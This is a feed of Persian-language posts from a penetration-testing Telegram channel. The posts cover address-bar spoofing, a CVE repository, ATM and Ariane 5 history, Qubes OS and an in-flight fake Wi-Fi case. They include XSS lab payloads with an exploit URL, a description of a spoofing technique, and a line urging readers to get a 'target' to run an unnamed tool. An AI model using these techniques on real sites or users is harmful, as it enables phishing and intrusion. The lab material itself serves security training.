این اسکریپت از تابع document.location برای هدایت کاربر به " https://bing.com " در یک پورت غیر استاندارد، "1234" استفاده می کند. بسته به مرورگر، زمانی طول می کشد تا در نهایت خطای توقف اتصال را بازگردانید، زیرا هیچ سرویسی در این پورت اجرا نمی شود. در طول این بازه زمانی، زمانی که مرورگر تلاش می‌کند تا « https://bing.com:1234 » را بارگیری کند، تابع setInterval به طور مکرر فراخوانی می‌شود، که باعث هدایت مجدد به URL می‌شود، بنابراین پروسس در فواصل زمانی مشخص بازیابی می‌شود.

این پروسس URL جعلی را در نوار آدرس حفظ می کند و در عین حال به مهاجمان اجازه می دهد محتوای صفحه وب را تغییر دهند. این پس از هر بازه زمانی مشخص اجرا می شود، بنابراین URL در پروسس حفظ می شود، در حالی که به مهاجمان اجازه می دهد محتوا را در سند بنویسند که منجر به جعل نوار آدرس می شود. در حالت ایده آل، رفتار صحیح برای مرورگر این است که وقتی تابع setInterval برای تغییر مسیر فراخوانی می شود، به "about: blank" تغییر مسیر دهد.

از همان POC برای ایجاد آسیب‌پذیری‌های جعل نوار آدرس در مرورگرهای سافاری چندین بار به همراه سایر مرورگرهای محبوب مانند Microsoft Edge و DuckDuckGo استفاده شده است. جالب اینجاست که مرورگر سافاری پورت را مخفی می‌کند و از این رو تنها URL قابل مشاهده برای کاربر، bing.com است.

@TryHackBox

ورکشاپ تست نفوذ لایو ازصفر تا صد برروی یک اپلیکیشن اندرویدی واقعی! به تدریس مهندس میثم منصف

@TryHackBox

👾 CVE PoC

• قبلاً سرویس های مختلف از نام های متفاوتی برای نشان دادن آسیب پذیری های یکسان استفاده می کردند. برای از بین بردن سردرگمی با نام آسیب‌پذیری‌ها، MITER راه‌حلی را پیشنهاد کرده است که مستقل از فروشندگان مختلف ابزار تشخیص آسیب‌پذیری است. این راه حل به عنوان پایگاه داده آسیب پذیری و قرار گرفتن در معرض مشترک CVE پیاده سازی شد. این راه حل به همه متخصصان و تولید کنندگان اجازه می داد که به یک زبان صحبت کنند. در این پایگاه داده، برای هر آسیب‌پذیری، از ویژگی رکورد زیر استفاده می‌شود: CVE- YYYY-NNNN ، که در آن YYYY سال کشف آسیب‌پذیری است و NNNN شماره سریال آن است.

• اگر سوالی دارید ، "این CVE های شما از کجا می آیند؟" سپس پاسخ این است: بیایید تصور کنیم که آسیب پذیری دیگری پیدا کرده اید و می خواهید در مورد آن به تمام دنیا بگویید. برای انجام این کار، باید فرم خاصی را در وب سایت miter پر کنید. و در واقع این همه چیز است)) https://www.cve.org/ResourcesSupport/FAQs

• اما نکته پست کمی متفاوت است. امروز پیشنهاد می‌کنم یک مخزن بسیار مفید را بررسی کنید، که تقریباً همه CVE‌ها را از سال 1999 شامل می‌شود، مرتب‌سازی راحت (بر اساس سال) وجود دارد و به‌روزرسانی‌های روزانه وجود دارد: https://github.com/trickest/cve . امیدوارم خیلی مفید باشه...
@TryHackBox

All Labs => Link
This Lab => Link
Payload => '<noscript>alert(1)</noscript>
Exploit => https://0a7e00c904b532ec8094df9100b300cd.web-security-academy.net/?search=%27%3Cnoscript%3Ealert(1)%3C/noscript%3E

@TryHackBox

💸 مخترع دستگاه خودپرداز در مدت 50 سال 15 دلار از ایده خود به دست آورد.

• سیستم ثبت اختراع به مخترعان بسیاری از چیزهای محبوب اجازه می دهد تا میلیون ها دلار آمریکا به دست آورند. در یکی از کمدی های آمریکایی، لحظه ای پخش شد که در آن یکی از قهرمانان فیلم یک فرد بسیار ثروتمند است، زیرا مادربزرگش فنری برای توستر اختراع کرد و تمام خانواده هنوز از تولید کنندگان توستر حق امتیاز دریافت می کنند.

• اما استثنائاتی وجود دارد. جیمز گودفلو، که اختراع دستگاهی را برای صدور خودکار پول کاغذی برای مشتریان بانک به ثبت رساند، تقریباً هیچ درآمدی نداشت. او 15 دلار گرفت و تمام. اما میلیاردها نفر از دستگاه های خودپرداز و میلیون ها دستگاه خود استفاده می کنند.

• گاردین حتی مصاحبه ای با Goodfellow دارد که در آن مخترع تاریخچه ATM را به اشتراک گذاشته است. مخترع ادعا می کند که مفهوم دستگاه توزیع پول نه تنها به ذهن او خطور کرده است، بلکه این ایده او بود که منجر به ایجاد دستگاه خودپرداز شد. در اینجا او برادران رایت را به یاد می آورد که مفهوم پرواز را خلق نکردند . اما آنها یک نمونه اولیه از یک هواپیما ساختند که می توانست پرواز کند، به همین دلیل است که آنها را خالق هواپیما می دانند.

• گودفلو می‌گوید افراد کمی در مورد حق اختراع او می‌دانند، و او تا سال 2005 که مردی کاملاً متفاوت، جان شپرد-بارون، جایزه را برای اختراع دستگاه خودپرداز برنده شد، به کسی چیزی نگفت. جایزه: نشان امپراتوری بریتانیا. جالب اینجاست که Goodfellow سفارش مشابهی دریافت کرده است، اما نه برای اختراع دستگاه خودپرداز، بلکه برای ایده معرفی کدهای پین برای این دستگاه ها. به هر حال، شپرد-بارون حق ثبت اختراعی برای دستگاهی برای توزیع پول نقد به مشتریان بانک ندارد، اگرچه او دستگاه مشابهی را تقریباً در همان زمان Goodfellow ایجاد کرد.

• سیستم صدور وجه نقد به مشتریان بانک در هر زمان توسط Goodfellow در اواسط دهه 60 ایجاد شد. سپس برای شرکت بزرگ کلوین هیوز کار کرد. وظیفه توسعه سیستم صدور پول پس از پایان روز کاری از مقامات دریافت شد. در نتیجه، مخترع سیستمی را ارائه کرد که می‌توانست پس از شناسایی مشتری، وجوهی را برای مشتری بانک صادر کند. فرآیند شناسایی دو مرحله ای بود - مشتری باید یک کارت پلاستیکی مخصوص با سوراخ های سوراخ شده را در شکاف وارد می کرد (جایگاه آنها برای هر مشتری منحصر به فرد بود)، به علاوه کد پین خود را (10 رقمی) وارد می کرد.

• یک سیستم توزیع پول ایجاد شد و اولین دستگاه از این دست در سال 1967 در یکی از شعبه های بانک وست مینستر نصب شد.

• سیستم مشابهی از نویسندگی برای مخترع دیگر، شپرد-بارو، نیز در سال 1967 نصب شد، یک ماه زودتر از سیستم Goodfellow. با این حال، حق ثبت اختراع متعلق به قهرمان این نشریه است. او درخواست های ثبت اختراع را در دفاتر 15 کشور ثبت کرد. آنالوگ نیز پس از شناسایی مشتری، پول صادر کرد، اما در اینجا از کارت پلاستیکی استفاده نمی شد، بلکه یک چک با ایزوتوپ کربن بود.

• نویسندگی Goodfellow قبلاً توسط دولت به رسمیت شناخته شده است. و در کتاب زندگی در بریتانیا (که باید توسط کسانی که مایل به اخذ تابعیت بریتانیا هستند مطالعه شود)، گودفلو قبلاً به عنوان خالق دستگاه خودپرداز ذکر شده است. به گفته او، این اختراع زندگی او را تغییر نداد. اما گودفلو از همه چیز راضی است.
#تاریخچه
@TryHackBox

🚀 کپی پیست که مانع پرواز من به فضا شد.

• این داستان در مورد اشتباهی است که می تواند هفت میلیارد دلار هزینه داشته باشد و 10 سال کار طول بکشد. به هر حال، این دقیقاً همان مقداری است که برای توسعه موشک آریان 5 هزینه شده است.

• موشک آریان 5 یک وسیله پرتاب مصرفی اروپایی است. این برای پرتاب فضاپیماهای متوسط ​​یا سنگین به مدار پایین زمین طراحی شده است. حدود هزار شرکت صنعتی در ساخت این موشک شرکت کردند. همه چیز خوب پیش رفت، اما کمتر از 40 ثانیه پس از بلند شدن، موشک منفجر شد. این اتفاق در 4 ژوئن 1996 رخ داد.

• آریان 5 در ارتفاع 4000 متری از مسیر مستقیم منحرف شد و خود ویران شد. در 13 ژوئن 1996، کمیسیون ویژه ایجاد شده برای بررسی سانحه آغاز شد و در 19 جولای گزارش جامع آن به اطلاع عموم رسید.

• به طور خلاصه، خطا از جانب توسعه دهندگان بود. آنها کد را از برنامه کنترل یک مدل موشک قبلی که با موفقیت بیش از صد بار پرواز کرده بود، کپی کردند . با این حال، آنها در نظر نگرفتند که آریان 4 در امتداد یک مسیر متفاوت و با سرعت افقی متفاوت پرواز می کند.

ویدئویی از نتیجه چنین خطایی را می توانید در ویدئو پایین مشاهده کنید.
#تاریخچه
@TryHackBox

انفجار پرتاب موشک آریان 5
@TryHackBox

⚠️دوستان این رو به هیچ وجه روی سیستم خودتون ران نکنین
بدین به تارگتتون ران کنه و تمام

ذهن تست نفوذ (کامل)
توسط: علیرضا توکلی
@TryHackBox

All Labs => Link
This Lab => Link
Payload => <noscript>alert(1)</noscript>
@TryHackBox

📦 ماشین مجازی برای ماشین‌های مجازی. Qubes OS.

• بگذارید درباره چیزهای جدی صحبت کنیم. به نظر من، بهترین سیستم‌عامل امن در حال حاضر – Qubes OS است. و این دلایلش:

• اصل ایزوله‌سازی به کمال رسیده است. Qubes OS – در زبان بیگانه – «مکعب‌ها» است. هر مکعب یک ماشین مجازی جداگانه است. برنامه‌های کاربر یک ماشین مجازی، روتر و فایروال یک ماشین مجازی دیگر، و sandbox (محیط ایزوله) یک مکعب سوم است. بنابراین، اگر یکی از مکعب‌ها به خطر بیفتد، آن را پاک کرده و دوباره راه‌اندازی کنید. حتی بدترین بدافزار هم نمی‌تواند از یک مکعب خاص خارج شود.

• راحتی. داشتن صد دوست بهتر از صد تومان است. خوب، Qubes همان دوست با صد ماشین مجازی در یک‌جا است. می‌خواهید چندین VPN را همزمان اجرا کنید و برای هر برنامه مسیر خاص خود را تنظیم کنید – به سادگی ممکن است. VPN-TOR (whonix)-VPN بدون دردسر – هیچ چیز آسان‌تر.

• برای ربات‌ها – این یک بهشت است. نیازی به نگهداری چندین ماشین و ماشین مجازی ندارید – به‌طور هم‌زمان پنج مرورگر را باز کنید و می‌توانید با خودتان در نظرات مشاجره کنید.

• انعطاف‌پذیری شگفت‌انگیز. اصل ایزوله‌سازی به شما این امکان را می‌دهد که ساختار خود را از Qubes OS بسازید. می‌خواهید کیف پول‌های ارز دیجیتال ناشناس داشته باشید؟ یک مکعب جدید راه‌اندازی کنید – کارهایتان را انجام دهید – آن را حذف کنید. هیچ‌گونه اثری باقی نمی‌ماند. این نیز برای کسانی که با بدافزارها کار می‌کنند گزینه ایده‌آلی است.

• می‌خواهید از مدیران گذرواژه استفاده کنید و از نشت اطلاعات نترسید؟ یک مخزن امن در sandbox درست کنید و KeePassX یا هر چیزی که دوست دارید را آنجا نصب کنید. حتی اگر مدیر گذرواژه‌تان صد بار هک شود – به شما مربوط نمی‌شود. شما یک پوشش فویلی دارید!

• فراتر از این می‌گویم: می‌خواهید ویندوز؟ و می‌توانید آن را از طریق Qubes OS درون سیستم راه‌اندازی کنید. آنجا آفیس را نصب کنید و به زندگی طولانی و خوشبختی ادامه دهید. این حداکثر راحت و ایمن است. تمامی قسمت‌های نظارتی ویندوز به‌طور ایمن در یک کانتینر قرار خواهد گرفت.

• خلاصه. باید به Qubes OS عادت کنید. اما این به‌طور بالقوه راحت‌ترین و امن‌ترین سیستم‌عامل از همه‌ی ابداع‌های بشری است. بنابراین بی‌شک ارزشش را دارد.

@TryHackBox

✈️ نقطه دسترسی جعلی در هواپیما.

• در استرالیا، مردی طرحی برای جعل وای فای در یک پرواز خطوط هوایی انجام داد تا رمز عبور، اعتبار و اطلاعات شخصی مسافران را جمع آوری کند.

• شرکت هواپیمایی مشکوک شد و به پلیس نامه نوشت. کلاهبردار به سرعت دستگیر و روتر قابل حمل، لپ تاپ و تلفن همراه وی ضبط شد. وقتی نوبت به جستجوی خانه رسید، معلوم شد این اولین بار نیست.

• این مرد متهم به داشتن اطلاعات شخصی برای منافع شخصی بود. در حال حاضر متهم با قرار وثیقه آزاد شده است اما از انجام برخی فعالیت ها در اینترنت منع شده است. خودشه...

➡️ https://www.afp.gov.au/

@TryHackBox

💚🤍❤️زادروز کوروش بزرگ و جشن شهریورگان فرخنده باد❤️🤍💚

امروز ۴ شهریور روز جشن باستانی بزرگ شهریورگان و به روایاتی زاد روز بزرگ مرد ایرانی کوروش بزرگ است

@TryHackBox

در این تصویر خواهید آموخت که چیست 𝙁𝙞𝙧𝙚𝙬𝙖𝙡𝙡
#firewall
#فایروال
@TryHackBox